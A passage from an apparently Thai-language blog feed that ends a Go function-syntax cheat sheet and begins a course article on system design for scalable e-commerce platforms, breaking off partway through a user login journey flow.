3. Function &#xE01;&#xE31;&#xE1A; Return Value
   func &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;() returnType {
       // &#xE42;&#xE04;&#xE49;&#xE14;
       return &#xE04;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE48;&#xE07;&#xE01;&#xE25;&#xE31;&#xE1A;
   }

4. Function &#xE01;&#xE31;&#xE1A;&#xE2B;&#xE25;&#xE32;&#xE22; Return Value
   func &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;() (returnType1, returnType2) {
       // &#xE42;&#xE04;&#xE49;&#xE14;
       return &#xE04;&#xE48;&#xE32;1, &#xE04;&#xE48;&#xE32;2
   }
   
5. Function &#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE15;&#xE31;&#xE49;&#xE07;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1C;&#xE25;&#xE25;&#xE31;&#xE1E;&#xE18;&#xE4C;
   func &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;() (resultName returnType) {
       // &#xE42;&#xE04;&#xE49;&#xE14;
       return // &#xE44;&#xE21;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE38;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE02;&#xE2D;&#xE07;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23;&#xE43;&#xE19;&#xE04;&#xE33;&#xE2A;&#xE31;&#xE48;&#xE07; return
   }
   
6. Anonymous Function (&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE0A;&#xE37;&#xE48;&#xE2D;)
   func() {
       // Code &#xE20;&#xE32;&#xE22;&#xE43;&#xE19; Function
   }()

7. &#xE01;&#xE33;&#xE2B;&#xE19;&#xE14; Function &#xE43;&#xE2B;&#xE49;&#xE01;&#xE31;&#xE1A;&#xE15;&#xE31;&#xE27;&#xE41;&#xE1B;&#xE23; &#xE40;&#xE0A;&#xE48;&#xE19;
   myFunc := func(param Type) {
       // &#xE42;&#xE04;&#xE49;&#xE14;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;
   }

8. &#xE2A;&#xE48;&#xE07; Function &#xE40;&#xE1B;&#xE47;&#xE19; Parameter &#xE40;&#xE0A;&#xE48;&#xE19;
   func &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;(f func(Type1), param Type2) {
       f(param) // Type1 &#xE41;&#xE25;&#xE30; Type2 &#xE40;&#xE1B;&#xE47;&#xE19;&#xE0A;&#xE19;&#xE34;&#xE14;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27;&#xE01;&#xE31;&#xE19;
   }

9. &#xE04;&#xE37;&#xE19;&#xE04;&#xE48;&#xE32;&#xE40;&#xE1B;&#xE47;&#xE19; Function &#xE40;&#xE0A;&#xE48;&#xE19;
   func &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;(param1 Type1) func(Type2) returnType { 
          return func(param2 Type2) returnType {
              // &#xE42;&#xE04;&#xE49;&#xE14;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;
              return returnType
          }
   }

10. Closure &#xE40;&#xE0A;&#xE48;&#xE19;
   func &#xE0A;&#xE37;&#xE48;&#xE2D;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;() func() returnType {
          // outer variables
          return func() returnType {
          	// code using outer variables
          	return returnType
          }
   } 

11. Function &#xE1E;&#xE34;&#xE40;&#xE28;&#xE29;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE42;&#xE14;&#xE22;&#xE2D;&#xE31;&#xE15;&#xE42;&#xE19;&#xE21;&#xE31;&#xE15;&#xE34;&#xE01;&#xE48;&#xE2D;&#xE19;&#xE17;&#xE35;&#xE48; Function main() &#xE08;&#xE30;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;
	Function init()
	func init() {
    	// &#xE42;&#xE04;&#xE49;&#xE14;&#xE20;&#xE32;&#xE22;&#xE43;&#xE19;&#xE1F;&#xE31;&#xE07;&#xE01;&#xE4C;&#xE0A;&#xE31;&#xE19;
	}</code></pre><p>&#xE1E;&#xE1A;&#xE01;&#xE31;&#xE1A; Mastering Golang for E-commerce Back End Development : Part 2 &#xE40;&#xE23;&#xE47;&#xE27; &#xE46; &#xA0;&#xE19;&#xE35;&#xE49;&#xE04;&#xE23;&#xE31;&#xE1A;</p>]]></content:encoded></item><item><title><![CDATA[Overview and System Design of Scalable E-commerce Platforms]]></title><description><![CDATA[<figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-05-at-11.33.54-AM.png" class="kg-image" alt loading="lazy" width="1434" height="1430" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-05-at-11.33.54-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-05-at-11.33.54-AM.png 1000w, https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-05-at-11.33.54-AM.png 1434w" sizes="(min-width: 720px) 720px"></figure><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE1C;&#xE28;.<em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em> &#xE41;&#xE25;&#xE30; <em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE2D;.&#xE14;&#xE23;.</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;&#xE23;&#xE23;&#xE22;</p>]]></description><link>https://blog.pjjop.org/phaaphrwmaelakaar-kaebbsthaapatykrrm-e-commerce-platform/</link><guid isPermaLink="false">668523990325e40001ebe6c5</guid><dc:creator><![CDATA[Nuttachot Promrit]]></dc:creator><pubDate>Fri, 12 Jul 2024 02:49:52 GMT</pubDate><content:encoded><![CDATA[<figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-05-at-11.33.54-AM.png" class="kg-image" alt loading="lazy" width="1434" height="1430" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/Screenshot-2024-07-05-at-11.33.54-AM.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/Screenshot-2024-07-05-at-11.33.54-AM.png 1000w, https://blog.pjjop.org/content/images/2024/07/Screenshot-2024-07-05-at-11.33.54-AM.png 1434w" sizes="(min-width: 720px) 720px"></figure><p><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE1A;&#xE17;&#xE04;&#xE27;&#xE32;&#xE21;&#xE42;&#xE14;&#xE22; </em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE1C;&#xE28;.<em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE14;&#xE23;.&#xE13;&#xE31;&#xE10;&#xE42;&#xE0A;&#xE15;&#xE34; &#xE1E;&#xE23;&#xE2B;&#xE21;&#xE24;&#xE17;&#xE18;&#xE34;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em> &#xE41;&#xE25;&#xE30; <em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE2D;.&#xE14;&#xE23;.</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em>&#xE2A;&#xE31;&#xE08;&#xE08;&#xE32;&#xE20;&#xE23;&#xE13;&#xE4C; &#xE44;&#xE27;&#xE08;&#xE23;&#xE23;&#xE22;&#xE32;<br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><a href="https://www.cp.su.ac.th/?ref=blog.pjjop.org">&#xE20;&#xE32;&#xE04;&#xE27;&#xE34;&#xE0A;&#xE32;&#xE04;&#xE2D;&#xE21;&#xE1E;&#xE34;&#xE27;&#xE40;&#xE15;&#xE2D;&#xE23;&#xE4C;</a></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE04;&#xE13;&#xE30;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE28;&#xE32;&#xE2A;&#xE15;&#xE23;&#xE4C;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em><br><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em><em>&#xE21;&#xE2B;&#xE32;&#xE27;&#xE34;&#xE17;&#xE22;&#xE32;&#xE25;&#xE31;&#xE22;&#xE28;&#xE34;&#xE25;&#xE1B;&#xE32;&#xE01;&#xE23;</em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></em></p><!--kg-card-begin: html--><hr>
<div align="center"><a href="https://creativecommons.org/licenses/by-nc-nd/4.0/?ref=blog.pjjop.org">This Article on Overview and System Design of Scalable E-commerce Platforms, licensed under CC BY-NC-ND</a>
</div>
<hr><!--kg-card-end: html--><p>&#xE22;&#xE34;&#xE19;&#xE14;&#xE35;&#xE15;&#xE49;&#xE2D;&#xE19;&#xE23;&#xE31;&#xE1A;&#xE2A;&#xE39;&#xE48;&#xE27;&#xE34;&#xE0A;&#xE32; Server Side Web Programming &#xE27;&#xE34;&#xE0A;&#xE32;&#xE19;&#xE35;&#xE49;&#xE08;&#xE30;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49; Use Case &#xE08;&#xE23;&#xE34;&#xE07; &#xE15;&#xE32;&#xE21;&#xE41;&#xE19;&#xE27;&#xE17;&#xE32;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; E-commerce Platform &#xE17;&#xE35;&#xE48;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE1A;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE33;&#xE40;&#xE23;&#xE47;&#xE08;&#xE43;&#xE19;&#xE23;&#xE30;&#xE14;&#xE31;&#xE1A;&#xE42;&#xE25;&#xE01; &#xE42;&#xE14;&#xE22;&#xE43;&#xE19;&#xE1A;&#xE17;&#xE41;&#xE23;&#xE01;&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE14;&#xE34;&#xE19;&#xE17;&#xE32;&#xE07;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A; E-commerce Platform &#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE25;&#xE49;&#xE32;&#xE19;&#xE04;&#xE19;</p><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE1E;&#xE39;&#xE14;&#xE16;&#xE36;&#xE07; E-commerce &#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE48;&#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE41;&#xE04;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE40;&#xE23;&#xE37;&#xE48;&#xE2D;&#xE07;&#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE0B;&#xE37;&#xE49;&#xE2D;&#xE02;&#xE32;&#xE22;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE2D;&#xE2D;&#xE19;&#xE44;&#xE25;&#xE19;&#xE4C; &#xE41;&#xE15;&#xE48;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE1A;&#xE49;&#xE32;&#xE19;&#xE02;&#xE2D;&#xE07;&#xE21;&#xE31;&#xE19;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE01;&#xE31;&#xE1A;&#xE04;&#xE27;&#xE32;&#xE21;&#xE17;&#xE49;&#xE32;&#xE17;&#xE32;&#xE22;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE14;&#xE49;&#xE32;&#xE19; &#xE17;&#xE31;&#xE49;&#xE07;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE34;&#xE21;&#xE32;&#xE13;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE39;&#xE07; (High Scalability) &#xE15;&#xE49;&#xE2D;&#xE07;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25;&#xE18;&#xE38;&#xE23;&#xE01;&#xE23;&#xE23;&#xE21;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE21;&#xE32;&#xE01; (High Throughput) &#xE43;&#xE19;&#xE0A;&#xE48;&#xE27;&#xE07; Flash Sale &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE1A;&#xE23;&#xE34;&#xE01;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE23;&#xE27;&#xE14;&#xE40;&#xE23;&#xE47;&#xE27;&#xE41;&#xE25;&#xE30;&#xE40;&#xE0A;&#xE37;&#xE48;&#xE2D;&#xE16;&#xE37;&#xE2D;&#xE44;&#xE14;&#xE49;&#xE15;&#xE25;&#xE2D;&#xE14; 24 &#xE0A;&#xE31;&#xE48;&#xE27;&#xE42;&#xE21;&#xE07; (High Availability)</p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE40;&#xE08;&#xE32;&#xE30;&#xE25;&#xE36;&#xE01;&#xE16;&#xE36;&#xE07;&#xE20;&#xE32;&#xE1E;&#xE23;&#xE27;&#xE21;&#xE02;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; E-commerce Platform &#xE42;&#xE14;&#xE22;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE08;&#xE32;&#xE01;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE02;&#xE49;&#xE32;&#xE43;&#xE08; User Journey Flow &#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE40;&#xE2B;&#xE47;&#xE19;&#xE20;&#xE32;&#xE1E;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE13;&#xE4C;&#xE02;&#xE2D;&#xE07;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; E-commerce Platform &#xE15;&#xE31;&#xE49;&#xE07;&#xE41;&#xE15;&#xE48;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE0A;&#xE21; Website &#xE08;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33;&#xE18;&#xE38;&#xE23;&#xE01;&#xE23;&#xE23;&#xE21;&#xE40;&#xE2A;&#xE23;&#xE47;&#xE08;&#xE2A;&#xE34;&#xE49;&#xE19; &#xE08;&#xE32;&#xE01;&#xE19;&#xE31;&#xE49;&#xE19; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE27;&#xE34;&#xE40;&#xE04;&#xE23;&#xE32;&#xE30;&#xE2B;&#xE4C;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32; &#xE04;&#xE27;&#xE32;&#xE21;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; &#xE17;&#xE35;&#xE48;&#xE21;&#xE31;&#xE01;&#xE1E;&#xE1A;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; E-commerce Platform &#xE02;&#xE19;&#xE32;&#xE14;&#xE43;&#xE2B;&#xE0D;&#xE48; &#xE41;&#xE25;&#xE30;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE23;&#xE39;&#xE49;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE01;&#xE33;&#xE2B;&#xE19;&#xE14;&#xE02;&#xE2D;&#xE1A;&#xE40;&#xE02;&#xE15;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE2A;&#xE21;</p><p>&#xE2B;&#xE31;&#xE27;&#xE43;&#xE08;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE02;&#xE2D;&#xE07;&#xE1A;&#xE17;&#xE19;&#xE35;&#xE49; &#xE04;&#xE37;&#xE2D; &#xE01;&#xE32;&#xE23;&#xE40;&#xE23;&#xE35;&#xE22;&#xE19;&#xE23;&#xE39;&#xE49;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE43;&#xE2B;&#xE49;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE23;&#xE2D;&#xE07;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE08;&#xE33;&#xE19;&#xE27;&#xE19;&#xE21;&#xE32;&#xE01; &#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25;&#xE2A;&#xE39;&#xE07; &#xE41;&#xE25;&#xE30;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE2A;&#xE39;&#xE07;</p><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE1B;&#xE34;&#xE14;&#xE17;&#xE49;&#xE32;&#xE22;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE28;&#xE36;&#xE01;&#xE29;&#xE32;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE41;&#xE1A;&#xE1A; Microservice Architecture &#xE0B;&#xE36;&#xE48;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE41;&#xE19;&#xE27;&#xE17;&#xE32;&#xE07;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE02;&#xE19;&#xE32;&#xE14;&#xE43;&#xE2B;&#xE0D;&#xE48;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE22;&#xE37;&#xE14;&#xE2B;&#xE22;&#xE38;&#xE48;&#xE19; &#xE1B;&#xE23;&#xE31;&#xE1A;&#xE02;&#xE19;&#xE32;&#xE14;&#xE44;&#xE14;&#xE49; &#xE41;&#xE25;&#xE30;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE1A;&#xE33;&#xE23;&#xE38;&#xE07;&#xE23;&#xE31;&#xE01;&#xE29;&#xE32;&#xE44;&#xE14;&#xE49;&#xE07;&#xE48;&#xE32;&#xE22; &#xE23;&#xE27;&#xE21;&#xE17;&#xE31;&#xE49;&#xE07;&#xE01;&#xE32;&#xE23;&#xE08;&#xE31;&#xE14;&#xE01;&#xE25;&#xE38;&#xE48;&#xE21; User Journey &#xE15;&#xE32;&#xE21; Service &#xE2B;&#xE25;&#xE31;&#xE01; &#xE46;</p><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE08;&#xE1A;&#xE1A;&#xE17;&#xE19;&#xE35;&#xE49; &#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE21;&#xE35;&#xE1E;&#xE37;&#xE49;&#xE19;&#xE10;&#xE32;&#xE19;&#xE17;&#xE35;&#xE48;&#xE41;&#xE02;&#xE47;&#xE07;&#xE41;&#xE01;&#xE23;&#xE48;&#xE07;&#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A; E-commerce Platform &#xE41;&#xE25;&#xE30;&#xE1E;&#xE23;&#xE49;&#xE2D;&#xE21;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE01;&#xE32;&#xE23;&#xE40;&#xE14;&#xE34;&#xE19;&#xE17;&#xE32;&#xE07;&#xE2A;&#xE39;&#xE48;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE47;&#xE19; <a href="https://blog.skooldio.com/back-end-developer-ultimate-guide/?ref=blog.pjjop.org">Back End Developer</a> &#xE2B;&#xE23;&#xE37;&#xE2D; Back End Engineer &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE0A;&#xE35;&#xE48;&#xE22;&#xE27;&#xE0A;&#xE32;&#xE0D;</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://blog.pjjop.org/content/images/2024/07/af766ec0-bbf2-4141-bbc3-44fd5cc3492c_1376x1536.webp" class="kg-image" alt loading="lazy" width="1376" height="1536" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/af766ec0-bbf2-4141-bbc3-44fd5cc3492c_1376x1536.webp 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/af766ec0-bbf2-4141-bbc3-44fd5cc3492c_1376x1536.webp 1000w, https://blog.pjjop.org/content/images/2024/07/af766ec0-bbf2-4141-bbc3-44fd5cc3492c_1376x1536.webp 1376w" sizes="(min-width: 720px) 720px"><figcaption>blog.bytebytego.com</figcaption></figure><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE23;&#xE32;&#xE01;&#xE10;&#xE32;&#xE19;&#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; E-commerce Platform &#xE17;&#xE35;&#xE48;&#xE22;&#xE2D;&#xE14;&#xE40;&#xE22;&#xE35;&#xE48;&#xE22;&#xE21;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE31;&#xE19;!</p><h2 id="user-journey-flow">User Journey Flow</h2><p>&#xE40;&#xE23;&#xE32;&#xE08;&#xE30;&#xE43;&#xE0A;&#xE49; User Journey Flow &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE18;&#xE34;&#xE1A;&#xE32;&#xE22; Scenario &#xE15;&#xE48;&#xE32;&#xE07; &#xE46; &#xE17;&#xE35;&#xE48;&#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE04;&#xE19;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;&#xE08;&#xE30;&#xE0B;&#xE37;&#xE49;&#xE2D;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE2D;&#xE2D;&#xE19;&#xE44;&#xE25;&#xE19;&#xE4C;&#xE1A;&#xE19; Platform &#xE02;&#xE2D;&#xE07;&#xE40;&#xE23;&#xE32; &#xE14;&#xE31;&#xE07;&#xE15;&#xE31;&#xE27;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE15;&#xE48;&#xE2D;&#xE44;&#xE1B;&#xE19;&#xE35;&#xE49;</p><p>&#xE2A;&#xE21;&#xE21;&#xE15;&#xE34;&#xE27;&#xE48;&#xE32; &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE40;&#xE02;&#xE49;&#xE32;&#xE2A;&#xE39;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE1A; E-commerce Platform &#xE2B;&#xE19;&#xE36;&#xE48;&#xE07; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE0B;&#xE37;&#xE49;&#xE2D;&#xE2A;&#xE34;&#xE19;&#xE04;&#xE49;&#xE32;&#xE44;&#xE14;&#xE49; 2 &#xE27;&#xE34;&#xE18;&#xE35; &#xE04;&#xE37;&#xE2D; 1. &#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE2A;&#xE39;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22; Account &#xE17;&#xE35;&#xE48;&#xE2A;&#xE21;&#xE31;&#xE04;&#xE23; &#xE41;&#xE25;&#xE30; 2. &#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE49;&#xE32;&#xE2A;&#xE39;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22; Email OTP</p><p><strong>&#xE40;&#xE02;&#xE49;&#xE32;&#xE2A;&#xE39;&#xE48;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22; Account &#xE17;&#xE35;&#xE48;&#xE2A;&#xE21;&#xE31;&#xE04;&#xE23;</strong><br>1. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE40;&#xE02;&#xE49;&#xE32;&#xE2A;&#xE39;&#xE48;&#xE40;&#xE27;&#xE47;&#xE1A;&#xE44;&#xE0B;&#xE15;&#xE4C; E-commerce<br>2. &#xE25;&#xE39;&#xE01;&#xE04;&#xE49;&#xE32;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE1A;&#xE31;&#xE0D;&#xE0A;&#xE35;&#xE43;&#xE2B;&#xE21;&#xE48;<br>3. 